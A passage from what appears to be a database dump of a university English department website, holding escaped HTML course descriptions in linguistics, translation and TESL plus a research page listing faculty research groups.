oral practice. Through stylistic\r\ndevices and expressive means used by the written to adequately interpreter the message\r\nand recognize the writers opinion.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 428:\r\nTranslation Practice 4 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n411</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed at consolidation of translation practices\r\ngained from the previous course Translation Practice -3 by the help of\r\nsystematic translation analyses</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 431: History\r\nof British Isles and the English Language&nbsp; (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It studies the origins and history of the development\r\nof English language and British Isles through the four major periods.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 608: Translation\r\nand Interpreting Theory (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">A two semester course covers the basics of translation\r\nand interpretation theory. The course aims at students’ acquisition the basic\r\nknowledge and understanding of the processes and results of written and oral\r\ninter-lingual transfer of messages, description of the processes, factors,\r\nstages and results of translating and interpreting activities as contextually\r\ndetermined phenomena.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 609:\r\nStylistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n322</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course aims at development of the students’\r\nawareness in recognizing, comprehension of different English language styles,\r\ntheir power of expressiveness and sets of their characteristics by which one is\r\ndistinguished from the other; belles-lettres, publicist, literary style, the\r\nlanguage of newspapers, scientific prose and official documents.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 612: Methods\r\nof Translating and Interpreting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n609, ENGL 322</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It aims at developing basic communicative and\r\ninterpretation skills, knowledge and habits used for consecutive interpreting\r\nas well as for linguistic and cultural competence. Focuses mainly on\r\n(operative, short-term, long-term) memory training, active understanding,\r\nnote-taking of foreign language spoken discourse with its subsequent transfer\r\ninto the mother tongue and vice versa.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 613: Basics of\r\nTechnical Translation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the Instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It develops a competence and skills in translation\r\nfrom the related technical texts (business and economics, law and\r\nadministration, engineering, etc) into the foreign language and vice versa\r\nusing the translation methods and devices. To be able to handle the various\r\nspecialized dictionaries, terminologies, and research materials,\r\ndocumentations. It develops the students’ skills and habits in treatment of\r\nterminology and style. A vocabulary work of 1000 and 1200 words should be\r\ntranslated in before the exam.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 702: Literary\r\nTranslation and Editing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: Consent\r\nof instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provided major tools in literary\r\ntranslation and editing<strong>.</strong>&nbsp;Specific emphasis is put on\r\npreservation and conveyance of style in translation and detailed structure of\r\nediting process.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 703:\r\nInterpreting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides major tools, its mechanism and\r\nproactive and retroactive principles in interpretation. Major approaches and\r\ntheories of interpretation are analyzed. Major focus is on practice of\r\ninterpretation.<strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 215:\r\nIntroduction to Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course gives the most generic knowledge about\r\nhistorical background, formation, common features and diversities of the\r\nlanguages and language families. The course mainly focuses on delivery of\r\ninformation about the methods and techniques of linguistic analyses, including\r\nmeaning, evaluation and changes of the regional and social dialects. It\r\ndiscusses the ways of development of the linguistic quality assessment models\r\nfrom the historical and theoretical angles.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 216:\r\nFundamentals of Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course explores general problems in the study of\r\nlinguistics. It illustrates the origin and development of linguistics, the\r\nworld languages and their classifications. It interprets the relations between\r\nthe language and its writing, origin of writing,&nbsp;&nbsp; its peculiarities\r\nand periods of development.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 310: Phonology\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It teaches the speech sounds and prosodic events\r\n(height of the tone, length, and strength) as a meaning distinguishing device\r\n(phoneme) of the words, morphemes and a system of phonemes of the language, and\r\ninvestigates their functional features.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 420: Languages\r\nof the World (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Survey of language families of the world: Classifying\r\nlanguages genetically and typologically; historical relations among languages.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>LING 421:\r\nSociolinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p><p style=\"text-align:justify\">Social determinants of linguistic diversity,\r\nvariability, and change; linguistic behavior and social control; methods of\r\ncommunity-based linguistics research.<em></em></p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 422:\r\nLinguistic Analysis (6 <strong><em>ECTS</em></strong>  credits</em></strong><em>)</em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Techniques for analyzing phonological, morphological,\r\nand syntactic data from a variety of languages; discovering stating, and\r\njustifying generalizations; comparison of diverse languages.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 423: History\r\nof Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Origins and history of development of linguistics,\r\nvarious theories of development of linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 424: Modern\r\nLinguistic Problems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This seminar discusses major debates on problems in\r\nlinguistics. Students are required to acquaint themselves with contemporary\r\nschools in linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 425: Comparative\r\nHistorical Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The comparative –historical method is referenced in\r\nthis area of linguistics. In this way an old and the oldest phonetic, lexical\r\nand grammatical properties of the language concerning to the language family\r\nare reconstructed. The categories of the separate languages are compared with\r\nthe categories of relative languages, the similarities and differences are\r\ndefined. Azerbaijani is investigated in comparison with other Turkish\r\nlanguages.&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><em>LING 426:\r\nStructural linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p><p style=\"text-align:justify\">The course teaches the current theories of widely\r\nknown branch in linguistics, i.e. structuralism. It deals with the school\r\nbranches like Prague School of Structuralism (Functional Linguistics),\r\nCopenhagen School of Structuralism (Glossematics), American School of\r\nStructuralism (Descriptivism), and the School of Ferdinand de Saussure as a\r\nfounder of the latter branch. It shows that the structural method as a\r\nconstituent part of the language unit mainly focuses on the unique structure of\r\nthe language, and attaches no importance to the existing inter componential\r\nsemantic unit structures.<em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 427: Psycholinguistics\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course explains the principles of inception and\r\nperception of speech activity and relations of linguistics with psychology. It\r\nis indicated five kinds of speech disturbances brought forward in the\r\npsychological and linguistic literature; two of them (dynamic and motor) are\r\nrelated to psychology, one of them – semantic aphasia – to linguistics, two –\r\nafferent motor and sensor aphasias – to physiological disturbances. It also\r\ninvestigates the speech like one of the practical human activities.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 428: Ethno-linguistics\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This part of Macro-linguistics teaches the relations\r\nbetween language and people, analyses the mutual influence of the linguistic\r\nand ethnic factors in language functionality.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 502: Second\r\nLanguage Acquisition (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:</em></strong><strong><em>&nbsp;</em></strong><strong><em>Consent of\r\ninstructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Review of literature on child and adult second\r\nlanguage acquisitions, language variables; phonological, morphological,\r\nsentential and discourse levels. Social and psychological variables which may\r\naccount for differences in learning. Emphasis on different extracts from\r\nchild’s literature.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 503: Structure\r\nof Modern English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Interpretation of selected linguistic features of\r\noverall and written text that go beyond sentence level and thus, signal\r\ncohesion. Study of functions of various structures in a variety of English\r\ntexts representing several discourse types.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 505: Applied\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Emphasis on the theory and methods of applied\r\nlinguistics. Universal properties of human language, phonological,\r\nmorphological, syntactic, semantic and pragmatic structures and analysis;\r\nnature and form of applied linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 511:\r\nLinguistic Methods (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It teaches linguistics, the methods of investigation\r\nin the subject teaching and analyzes the general and special methods,\r\nhighlights its different features, problems, methods and methodology. The\r\ncourse gives detailed information on comparative-historical, observational,\r\ndescriptive, experimental, mathematical, structural, areal and formal methods.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 604: Text\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: None</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Organization of topic-comment structure, modality, thematic\r\nstructure of sentences factors such as meaning, discourse genre,\r\nsocial/pragmatic function; emphasis on syntactic units and structural\r\nproperties of words/structures under consideration.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 607: Linguistics\r\n(Trends and Methods) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING 215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Methodological criteria of the linguistic schools and\r\napplicability of the methods advanced by them (shortages and advantages in\r\nphonology, morphology, syntax, semantics and pragmatics); word, phrase,\r\nsentence and discourse level; behavior of language items in correspondence and\r\nother type texts. Trends in linguistics: American structuralism, Copenhagen\r\nGlossematics and Prague Functionalism, their basic theoretical premises and\r\nmethods.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 609: Natural\r\nLanguage processing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Survey of recent works on natural language processing.\r\nExtensions of basic language processing techniques to natural language\r\nprocessing. Recent models of syntactic, semantic and discourse analysis; brain\r\nbases for language modeling.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 611:\r\nLinguistic Theory (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Language and linguistics theories and methods of\r\nlinguistics with emphasis on structure of Modern Standard English; phonology,\r\nmorphology, syntax, semantics and pragmatics. Crucial problems in structure of\r\nEnglish considered from such theoretical frameworks as sign-oriented\r\nlinguistics, functional linguistics, Discourse Grammar and Cognitive\r\nLinguistics; Discussion on formal linguistic approaches.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 613: Cognitive\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Introduces the study of human cognition. Topics\r\ninclude perception, attention, memory, knowledge representation, language,\r\nproblem solving, and reasoning. Considers the real-world implications of\r\nlaboratory findings.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 614: Linguistic\r\nTypology (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">An integrated approach to General Linguistics with the\r\nfocus on Typology synthesizing, structural aspects and diachronic studies, both\r\napplied to Ural- Altaic. Mode of diachronic comparison is proposed which shares\r\nwith synchronic typology the attribute of generality. Practical and approach\r\nsystem-based cover all major topics of general linguistic typology.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong><strong></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 615:\r\nTranslation: Text Analysis (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING 608</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides the student with tools and\r\napproaches to a comprehensive pre-translation analysis of authentic spoken and\r\nwritten discourses in their relevant contexts.<strong>­­­­­­­­­­­­­­­­­­­­­­­­­­­­</strong></p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 601:\r\nPrinciples of TESL (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Current approaches, methods, and techniques in\r\nteaching English as a foreign/second language at varied proficiency level.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 602: Teaching\r\nMaterials and Textbook Compiling (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Supervised classroom experience selection and dosing\r\nof teaching materials; advanced pronunciation and methods of teaching English\r\npronunciation; compiling of text books Development of skill required to\r\ncritique the validity of research designs.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 603: Curricula\r\nand Program Development</em></strong><em>&nbsp;</em><strong><em>(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Curricular and program development, class size and\r\nclassroom management problems, teacher and language learning; emphasis upon\r\nsecond language acquisition and use.</p>'),(917,602,'az',' Elmi-tədqiqat',' Elmi-tədqiqat','<p style=\"font-size: large; text-align: justify;\" times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;\"=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-indent:36.0pt;line-height:150%;background:white\"\"=\"\"><span style=\"text-align:justify\" lang=\"EN-US\"><span style=\"white-space:pre\"></span>Bölmənin akademik\r\nheyəti hazırda Oxu və Yazı kursları üçün yeni kitablar tərtib etmək üzərində çalışır.\r\nBu kitablar Avropa universitetlərinin yüksək standartlarına cavab verəcək\r\ntələbələrin dünyagörüşünü genişləndirməkdən ötrü müəyyən edilmişdir. Kitablar\r\nüzərində işləyən heyət müxtəlif tədris və əlavə materialların ətraflı\r\ntədqiqatını həyata keçirməklə məsuldur.</span></p><p style=\"font-size: large; text-align: justify;\" times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;\"=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-indent:36.0pt;line-height:150%;background:white\"\"=\"\">Bu il Departamentdə\r\nəsas tədris olunan fənlərdən \"Oxu1\" və “yazı 1\" adlı yeni\r\nintensiv kurslar sistem tətbiq edilmişdir. Bu məqsədlə kafedranın müəllimləri&nbsp;müxtəlif\r\nsahələr üzrə bir sıra tədqiqat layihələri işləmiş, habelə müxtəlif tədqiqat\r\nsahələri üzrə dərslik və müvafiq materiallar seçmişlər.  </p>'),(918,602,'en','Research','Research','<p style=\"text-align:justify\">In  accordance with the policy of Khazar\r\nUniversity for strengthening the research activities of the departments,\r\nemphasized and announced in the first general meeting of English Language and\r\nLiterature Department, <strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media658396467537175\" width=\"150\" height=\"100\" font-size:=\"\" large;=\"\" text-align:=\"\" justify;\"=\"\">six research groups</strong><span style=\"text-align:justify\" \"=\"\"> have been formed under\r\nthe various topics relevant to the areas of study, skill and experience of the\r\nteachers as follows:</span></p><br><table style=\"\" width:105.34%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;border-width:1px;border-style:solid\"=\"\" width=\"105%\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"10%\"><br></td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Literature</strong></p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Teaching1</strong></p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Teaching2</strong></p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Teaching3</strong></p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Linguistics</strong></p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong>ESP</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Coordinator</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Firangiz Nasirova</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Kamala Askerova</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Eynur Mehdiyev</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Narmin Kerimli</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Ilham Tagiyev</em></strong></p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\"><strong><em>Narmin Memmedova</em></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">2</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Naila Gasimova</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Saadat Farhadova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Nigar Mammadova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Sevinj Iskenderova</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Lidiya Gamidova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Konul Huseynova</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Nigar Hagverdiyeva</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Aziza Zulfugarova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"16%\">\r\n  <p 